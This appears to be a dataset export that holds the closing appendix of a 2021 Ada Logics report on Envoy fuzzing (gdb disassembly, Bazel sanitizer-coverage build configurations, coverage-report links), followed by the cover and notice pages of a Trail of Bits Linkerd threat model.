<+59>: add BYTE PTR [rip+0x72d9d98],0x1# 0xa50fc9a0x0000000003235f02 <+66>: lea rdi,[rip+0x908047f]# 0xc2b6388 <_ZNSt3__14coutE>0x0000000003235f09 <+73>: lea rsi,[rip+0xfffffffffd3ba150]# 0x5f0060 <.str.4>0x0000000003235f10 <+80>: call 0x3235f40<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>0x0000000003235f15 <+85>: mov rdi,rax0x0000000003235f18 <+88>: mov rsi,r140x0000000003235f1b <+91>: call 0x3235f80<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKh>0x0000000003235f20 <+96>: lea rsi,[rip+0xfffffffffd3ba179]# 0x5f00a0 <.str.5>0x0000000003235f27 <+103>: mov rdi,rax0x0000000003235f2a <+106>: call 0x3235f40<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>\\nAda Logics\\nLondon, United Kingdom\\n20\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n0x0000000003235f2f <+111>: jmp 0x3235f38 <_ZL17EnvoyTestOneInputPKhm+120>0x0000000003235f31 <+113>: add BYTE PTR [rip+0x72d9d61],0x1# 0xa50fc990x0000000003235f38 <+120>: pop rbx0x0000000003235f39 <+121>: pop r140x0000000003235f3b <+123>: pop rbp0x0000000003235f3c <+124>: retEnd of assembler dump.(gdb)\\nDisassembly of empty fuzz test compiled without instrumentation:\\n# gdb -q ./a.outReading symbols from ./a.out...done.(gdb)setdisassembly-flavor intel(gdb) disass LLVMFuzzerTestOneInputDump of assembler codeforfunctionLLVMFuzzerTestOneInput:0x0000000000557d40 <+0>: push rbp0x0000000000557d41 <+1>: mov rbp,rsp0x0000000000557d44 <+4>: add BYTE PTR [rip+0x2f43ad],0x1# 0x84c0f80x0000000000557d4b <+11>: mov rax,QWORD PTR[rip+0x2f1246]# 0x848f980x0000000000557d52 <+18>: cmp rbp,QWORD PTRfs:[rax]0x0000000000557d56 <+22>: jae 0x557d5c 0x0000000000557d58 <+24>: mov QWORD PTR fs:[rax],rbp0x0000000000557d5c <+28>: call 0x557d70 <_ZL17EnvoyTestOneInputPKhm>0x0000000000557d61 <+33>: xor eax,eax0x0000000000557d63 <+35>: pop rbp0x0000000000557d64 <+36>: retEnd of assembler dump.(gdb) disass _ZL17EnvoyTestOneInputPKhmDump of assembler codeforfunction_ZL17EnvoyTestOneInputPKhm:0x0000000000557d70 <+0>: push rbp0x0000000000557d71 <+1>: mov rbp,rsp0x0000000000557d74 <+4>: push r140x0000000000557d76 <+6>: push rbx0x0000000000557d77 <+7>: add BYTE PTR [rip+0x2f437b],0x1# 0x84c0f90x0000000000557d7e <+14>: mov rbx,rsi0x0000000000557d81 <+17>: mov r14,rdi0x0000000000557d84 <+20>: mov rax,QWORD PTR[rip+0x2f120d]# 0x848f980x0000000000557d8b <+27>: cmp rbp,QWORD PTRfs:[rax]0x0000000000557d8f <+31>: jae 0x557d95 <_ZL17EnvoyTestOneInputPKhm+37>0x0000000000557d91 <+33>: mov QWORD PTR fs:[rax],rbp0x0000000000557d95 <+37>: mov edi,0x498f3a940x0000000000557d9a <+42>: mov rsi,rbx0x0000000000557d9d <+45>: call 0x473370 <__sanitizer_cov_trace_const_cmp8()>0x0000000000557da2 <+50>: cmp rbx,0x498f3a940x0000000000557da9 <+57>: jne 0x557ddb <_ZL17EnvoyTestOneInputPKhm+107>0x0000000000557dab <+59>: add BYTE PTR [rip+0x2f4349],0x1# 0x84c0fb0x0000000000557db2 <+66>: mov edi,0x11a77e00x0000000000557db7 <+71>: mov esi,0x5e03a00x0000000000557dbc <+76>: call 0x557df0<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>0x0000000000557dc1 <+81>: mov rdi,rax0x0000000000557dc4 <+84>: mov rsi,r140x0000000000557dc7 <+87>: call 0x557e30<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKh>0x0000000000557dcc <+92>: mov esi,0x5e03e00x0000000000557dd1 <+97>: mov rdi,rax0x0000000000557dd4 <+100>: call 0x557df0\\nAda Logics\\nLondon, United Kingdom\\n21\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>0x0000000000557dd9 <+105>: jmp 0x557de2 <_ZL17EnvoyTestOneInputPKhm+114>0x0000000000557ddb <+107>: add BYTE PTR [rip+0x2f4318],0x1# 0x84c0fa0x0000000000557de2 <+114>: pop rbx0x0000000000557de3 <+115>: pop r140x0000000000557de5 <+117>: pop rbp0x0000000000557de6 <+118>: retEnd of assembler dump.\\nA.1 Build configurations\\nConfiguration 1. Regular build\\nThis is simply a regular build.\\nConfiguration 2.\\nThis configuration disables:\\n●\\nCoverage and bug-finding sanitizers in many of the\\nexternal libraries\\n●\\nCoverage instrumentation of various folders under\\nsource/common and\\nsource/extensions\\n●\\nCoverage instrumentation of code in test/ directory.\\n●\\nCoverage instrumentation of all .pb.cc files and all\\n(.cc) files in the bazel-out directory\\ndeclare -r DI=\\\"$(if [ \\\"$SANITIZER\\\" != \\\"coverage\\\" ]then# Envoy code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*source/extensions/access_loggers/.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"echo \\\" --per_file_copt=^.*source/extensions/filters/.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"echo \\\" --per_file_copt=^.*source/extensions/.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"echo \\\" --per_file_copt=^.*source/common/protobuf/.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"echo \\\" --per_file_copt=^.*source/common/network.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"echo \\\" --per_file_copt=^.*source/common/runtime.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"\\n# Envoy test code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*test/.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"\\n# Disable external libraries.echo \\\" --per_file_copt=^.*antlr4_runtimes.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*io_opencensus_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_protobuf.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_absl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*googletest.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_code_re2.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*upb.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\nAda Logics\\nLondon, United Kingdom\\n22\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\necho \\\" --per_file_copt=^.*com_googlesource_googleurl/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# All protobuf code and code in bazel-outecho \\\" --per_file_copt=^.*\\\\.pb\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*bazel-out/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"fi)\\\"\\nConfiguration 3.\\nThis configuration disables everything that configuration\\n2 disables\\nexcept\\n:\\n●\\nCode under source/common and source/extensions.\\ndeclare -r DI=\\\"$(if [ \\\"$SANITIZER\\\" != \\\"coverage\\\" ]then# Envoy code. Disable coverage instrumentation\\n# Envoy test code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*test/.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"\\n# Disable celcpp and grpc correctly.echo \\\" --per_file_copt=^.*antlr4_runtimes.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*io_opencensus_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_protobuf.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_absl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*googletest.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_code_re2.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*upb.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_googleurl/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# All protobuf code and code in bazel-outecho \\\" --per_file_copt=^.*\\\\.pb\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*bazel-out/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"fi)\\\"\\nConfiguration 4\\nThis configuration disables everything that configuration\\n3 disables\\nand also\\n:\\n●\\nDisabling bug-finding instrumentation in files under\\nthe test/ directory.\\nAda Logics\\nLondon, United Kingdom\\n23\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\ndeclare -r DI=\\\"$(if [ \\\"$SANITIZER\\\" != \\\"coverage\\\" ]then# Envoy code. Disable coverage instrumentation\\n# Envoy test code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*test/.*\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# Disable celcpp and grpc correctly.echo \\\" --per_file_copt=^.*antlr4_runtimes.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*io_opencensus_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_protobuf.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_absl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*googletest.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_code_re2.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*upb.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_googleurl/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# All protobuf code and code in bazel-outecho \\\" --per_file_copt=^.*\\\\.pb\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*bazel-out/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"fi)\\\"\\nConfiguration 5\\nThis configuration disables everything that configuration\\n4 disables\\nand also\\n:\\n●\\nDisabling coverage instrumentation of all .cc files\\nin source/server folder.\\ndeclare-r DI=\\\"$(if [ \\\"$SANITIZER\\\" != \\\"coverage\\\" ]then# Envoy code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*source/server.*\\\\.cc\\\\$@-fsanitize-coverage=0\\\"# Envoy test code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*test/.*\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# Disable celcpp and grpc correctly.echo \\\" --per_file_copt=^.*antlr4_runtimes.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*io_opencensus_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_protobuf.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_absl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*googletest.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\nAda Logics\\nLondon, United Kingdom\\n24\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\necho \\\" --per_file_copt=^.*com_googlesource_code_re2.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*upb.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_googleurl/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# All protobuf code and code in bazel-outecho \\\" --per_file_copt=^.*\\\\.pb\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*bazel-out/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"fi)\\\"\\nConfiguration 6\\nThis configuration is similar to configuration #4,\\nhowever, it also includes the use of a file\\nwith a function name regex on the path /src/blog_list.txt.\\nThis file is used by\\nSanitizerCoverage\\nto disable coverage instrumentation\\nin functions that match the regular\\nexpression, the contents of this file is:\\nfun:*envoy*\\nThe important part of the build.sh script is as follows:\\ndeclare-r DI=\\\"$(if [ \\\"$SANITIZER\\\" != \\\"coverage\\\" ]then# Envoy code. Disable coverage instrumentation\\n# Envoy test code. Disable coverage instrumentationecho \\\" --per_file_copt=^.*test/.*\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# Disable celcpp and grpc correctly.echo \\\" --per_file_copt=^.*antlr4_runtimes.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*io_opencensus_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_protobuf.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_absl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*googletest.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_grpc_grpc.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*boringssl.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_googlesource_code_re2.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*upb.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*org_brotli.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_google_cel_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\nAda Logics\\nLondon, United Kingdom\\n25\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\necho \\\" --per_file_copt=^.*com_googlesource_googleurl/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*grpc_httpjson_transcoding.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"\\n# All protobuf code and code in bazel-outecho \\\" --per_file_copt=^.*\\\\.pb\\\\.cc\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"echo \\\" --per_file_copt=^.*bazel-out/.*\\\\$@-fsanitize-coverage=0,-fno-sanitize=all\\\"fi)\\\"\\n# Benchmark about 3 GB per CPU (10 threads for 28.8GB RAM)# TODO(asraa): Remove deprecation warnings when Envoyand deps moves to C++17bazel build -s --verbose_failures --dynamic_mode=off${DI}\\\\--per_file_copt=\\\"^.*\\\\$\\\"@\\\"-Wno-error=unused-command-line-argument\\\"\\\\--per_file_copt=\\\"^.*\\\\$\\\"@\\\"-fsanitize-coverage-blocklist=/src/block_list.txt\\\"\\\\\\nA.2 Envoy UDP fuzzer coverage\\nEnvoy::Network::UdpListenerImpl::handleReadCallback\\n:\\nhttps://storage.googleapis.com/oss-fuzz-coverage/envoy/reports/202\\n10423/linux/proc/self/cwd/source/common/network/udp_listener_impl.\\ncc.html#L72\\nAda Logics\\nLondon, United Kingdom\\n26\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nEnvoy::Network::Utility::readFromSocket\\nhttps://storage.googleapis.com/oss-fu\\nzz-coverage/envoy/reports/20210423/linux/proc/self/cwd/source/common/network/utility.cc.ht\\nml#L576\\nAda Logics\\nLondon, United Kingdom\\n27\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nAda Logics\\nLondon, United Kingdom\\n28\\n\"\n }\n]"}}},{"rowIdx":39477,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Linkerd - Threat Model.pdf\",\n \"project_name\": \"Linkerd\",\n \"subcategory\": \"Service Mesh\"\n}"},"content":{"kind":"list like","value":[{"data":" L i n k e r d \n T h r e a t M o d e l \n May 2, 2022 \n Prepared for: \n Oliver Gould \n Buoyant, Inc \n Prepared by: \n Alex Useche and David Pokora \n A b o u t T r a i l o f B i t s \n Founded in 2012 and headquartered in New York, Trail of Bits provides technical security \n assessment and advisory services to some of the world’s most targeted organizations. We \n combine high- end security research with a real -world attacker mentality to reduce risk and \n fortify code. With 80+ employees around the globe, we’ve helped secure critical software \n elem ents that support billions of end users, including Kubernetes and the Linux kernel. \n We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , \n with links to papers, presentations, public audit reports, and podcast appearances. \n In recent years, Trail of Bits consultants have showcased cutting-edge research through \n presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, \n the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. \n We specialize in software testing and code review projects, supporting client organizations \n in the technology, defense, and finance industries, as well as government entities. Notable \n clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. \n Trail of Bits also operates a center of excellence with regard to blockchain security. Notable \n projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, \n MakerDAO, Matic, Uniswap, Web3, and Zcash. \n To keep up to date with our latest news and announcements, please follow @trailofbits on \n Twitter and explore our public repositories at https://github.com/trailofbits . To engage us \n directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at \n info@trailofbits.com . \n Trail of Bits, Inc. \n 228 Park Ave S #80688 \n New York, NY 10003 \n https://www.trailofbits.com \n info@trailofbits.com \n T r a i l o f B i t s 1 Linkerd Threat Model \n C O N F I D E N T I A L \n N o t i c e s a n d R e m a r k s \n C o p y r i g h t a n d D i s t r i b u t i o n \n © 2022 by Trail of Bits, Inc. \n All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this \n report in the United Kingdom. \n This report is considered by Trail of Bits to be business confidential information; it is \n licensed to the Linux Foundation under the terms of the project statement of work and \n intended solely for internal use by the Linux Foundation. Material within this report may \n not be reproduced or distributed in part or in whole without the express written \n permission of Trail of Bits. \n T es t C o v er a g e D i s c l a i m er \n All activities undertaken by Trail of Bits in association with this project were performed in \n accordance with a statement of work and mutually agreed upon project plan. \n Security assessment projects are time-boxed and often reliant on information that may be \n provided by a client, its affiliates, or its partners. As a result, the findings documented in \n this report should not be considered a comprehensive list of security 